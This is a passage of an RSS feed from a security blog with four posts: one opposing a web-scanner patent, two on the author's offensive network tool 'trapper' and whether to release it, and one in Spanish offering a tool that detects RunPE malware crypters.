		<pubDate>Tue, 15 Feb 2011 02:04:27 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=125</guid>
		<description><![CDATA[I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity. I recently catch upon Cenzic having a pretty interesting patent, which basically [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity.</p>
<p>I recently catch upon Cenzic having a pretty interesting patent, which basically covers any code that baselines a web page and then injects faulty code into parameters to verify vulnerabilities. Yes you read correctly, this patent awarded in 2007 covers all web scanners and even powerful fuzzers into the patent, why it was granted? beats me I presume whoever checked it out didn&#8217;t really find prior art (there is) or really understand what was being patented (go lawyer+techie talk) the result? an overlapping patent.</p>
<p>Now a patent should ALWAYS be used defensively, which means &#8220;I protect myself from other people coming and breaking my stuff, asking me for money for something I developed or saying I didn&#8217;t create it&#8221; the problem is, Cenzic is NOT using the patent defensively, they are using it to get money out of web scanner companies.</p>
<p>IBM/HP already did a cross licensing deal with them, (probably giving them their crawler technology) and now they went and asked <a href="http://www.ntobjectives.com">NTObjectives</a> an insane amount of money, result? NTObjectives is fighting back, the filed a <a href="http://www.ntobjectives.com/news/NTOBJECTivesEntersPatentLitigationWithCenzic,Inc.">suit</a> which will then break the patent and stop this company from basically extorting money out of other companies for a very generic and broken patent.</p>
<p>It makes me sad, why? because one of the patent owners is someone I really respect: Greg Hoglund, the founder of rootkit.com, his books are great and I love them, but this patent, this is wrong. It saddens me the fact that someone on the security environment (I hate using the industry word, because grayhats and blackhats are not on the industry but are still on the environment) would do this and let it go.</p>
<p>I created then the website <a href="http://www.stop232patent.com">www.stop232patent.com</a> you can follow an in depth detail of the analysis of the patent, trial, prior art, etc. </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/stop232patent-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where information should stop</title>
		<link>http://security-dojo.com/programming-bits/where-information-should-stop/</link>
		<comments>http://security-dojo.com/programming-bits/where-information-should-stop/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 01:36:52 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[trapper]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[sniffer]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=115</guid>
		<description><![CDATA[I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships. [...]]]></description>
			<content:encoded><![CDATA[<p>I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships.</p>
<p>As the release of trapper was getting closer I started thinking what good would the complete release of the software will do, and I came up with this answers:<br />
- Nothing, nobody would use it<br />
- Some people would use it for kicks, mostly to hack their own networks or hack work<br />
- It could be used to crack something large and big<br />
- Other people would use it on their audits, call me I&#8217;m finished and keep on using my research and work.<br />
- Man in black would seize my server (since it&#8217;s on the US) and force the app to be erased after magically appearing with a copy of it.</p>
<p>While the last one appears definitely far fetched the third one got me thinking seriously, not only because of the nature of my research has gone definitely into Hydras and AI / Neural Networks / Expert Systems but because potentially sooner or later it could be pushed into the light and someone will do something that would compromise the years I&#8217;ve work on the security field.</p>
<p>I&#8217;m not calling that a reporter, as the ones I know they have been always fair to me in developing at story, but today as I unleashed the third rewrite of trapper (yes I had to rewrite 2 times already due to redesign of the objects) someone at the starbucks checked their email via pop, in less than 5 minutes all his email was parsed, loged into facebook, found, friends found, had his avatar picture and was searching who he was talking to in MSN. At that second I realized I stupidly left the domain into * and not localhost, definitely my mistake but &#8230; it suddenly hit me, am I making stuff secure or insecure releasing this?<br />
<span id="more-115"></span><br />
The answer was &#8220;You are making stuff completely insecure, people won&#8217;t understand what is going on, it will be just pure blood and your point across will be lost&#8221; so my decision is to open trapper only to a few people without hard modules and keep it for <a href="http://www.yaguarete-sec.com">Yaguarete</a> as part of the internal tools, not because I don&#8217;t want to, believe me with the design I made a proficient coder will have no trouble to create it&#8217;s own little hydra, but it won&#8217;t me mine, it won&#8217;t be code breaking hard into stuff I seriously do not want to even ping.</p>
<p>YES I&#8217;ve become soft, YES I&#8217;m not the guy who used to rampage like 10 years ago in G-Con, but then again who would be? are you really a sane person holding into something that happened or said 10 years ago? is your life THAT pathetic?</p>
<p>I&#8217;ve seen people come from total &#8220;n00bs&#8221; into amazing hackers, like HKM I remember him messaging me saying he got hist first overflow after reading a paper then all the sudden he is destroying 2Wire with amazing research, people evolve, everything evolves, why wouldn&#8217;t I just evolve?</p>
<p>As I was reading the leaks that might break spies and complete networks of the CIA on Afganistan because of a leak I said &#8220;well sure government did stuff they shouldn&#8217;t have done? most probably but then again should documents leak THAT harshly?&#8221; I&#8217;m not condemning or applauding the act I just wondered &#8220;what if code I wrote ever is used for that?&#8221;</p>
<p>You might not have met me in my &#8220;worst&#8221; years, when I tough I was invincible, when nobody was smarter than me, more connected than me, etc. but I realize that those years I did more damage than help, I turn around and I smile when people tell me they look up to me and they have shaped cons in the sense of G-Con or stuff like that (I have to say that having someone name his kid after you felt great, thank you Pedro Navarro -byteStriker-)</p>
<p>Anyway I&#8217;m still alive, am I the same? no, is my research the same? probably is it still agressive? As much as I need to, because at the end, my research is only for me now, I don&#8217;t want any more fame, I don&#8217;t want the spotlight anymore, I&#8217;ve had my 15 minutes of fame, I want to do what I like, what I want and just be happy (breaking stuff sure why not)</p>
<p>Will trapper ever be public? to be honest it might, just not right now I&#8217;d like to keep the advantage before other companies use it and call my company inferior, anyway it will have a mixed license so too bad for ppl that will use it for commercial.</p>
<p>If you are interested in a copy of it, contact me and we can chat but I don&#8217;t promise anything.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/where-information-should-stop/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Trapper from sniffer to hydra</title>
		<link>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/</link>
		<comments>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 18:45:57 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[campus party]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[trapper]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=108</guid>
		<description><![CDATA[This is the presentation I&#8217;m going to push in Campus Party and in Sec-T in Sweden in september. This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations. I&#8217;m going to be exporting a git repository the first week of [...]]]></description>
			<content:encoded><![CDATA[<p>This is the presentation I&#8217;m going to push in Campus Party and in <a href="http://www.sec-t.org">Sec-T</a> in Sweden in september.</p>
<p>This is a complete recode of trapper, even changing the language for ruby, having namespaces on it and the capabilities to attack and exploit miss-configurations.</p>
<p>I&#8217;m going to be exporting a git repository the first week of August with the public version of Trapper 1.0 in git.security-dojo.com (It&#8217;s not setup yet so don&#8217;t even try) and version 1.1 should hit around september in Sec-T.</p>
<p>What stuff is being coded or tested now?</p>
<p>- Sniffing<br />
- Cracking the hashes<br />
- Using hashes to bring more hosts into the game<br />
- Reading emails<br />
- Reading applications<br />
- SSH and telnet into hosts<br />
- Start other sniffer heads in different OS (This is going to take time but oh well)<br />
- More to come!</p>
<p>If you are interested in beta testing Trapper drop me an email, you might not get the chance since I&#8217;m really picky on who betas my stuff but you can try :P</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/trapper-from-sniffer-to-hydra/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Muerte al RunPE&#8230;</title>
		<link>http://security-dojo.com/security-bits/muerte-al-runpe/</link>
		<comments>http://security-dojo.com/security-bits/muerte-al-runpe/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 05:51:44 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[misc]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=53</guid>
		<description><![CDATA[Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware para ser indetectables a los AV&#8217;s esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria termina siendo igual sin importar el tipo de cambio ke s ele haga [...]]]></description>
			<content:encoded><![CDATA[<p>Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware</p>
<p>para ser indetectables a los AV&#8217;s</p>
<p><span id="more-53"></span></p>
<p>esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria</p>
<p>termina siendo igual sin importar el tipo de cambio ke s ele haga</p>
<p>ya ke es un metodo muy poko flexible y porlotanto muy vulnerable</p>
<p>bueno esta herramienta me costo varias semanas de investigacion y desarrollo</p>
<p>esta echa en delphi y masm(primera vez ke trabajo en forma con asm xP)</p>
<p>sin mas aki les dejo este juguetito junto con su screenshot correspondiente</p>
<p>http://www.gigasize.com/get.php?d=b32byccdznf</p>
<p><img class="alignleft size-medium wp-image-54" src="http://security-dojo.com/wp-content/uploads/2009/07/screenshot-300x188.jpg" alt="screenshot" width="300" height="188" /></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/muerte-al-runpe/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

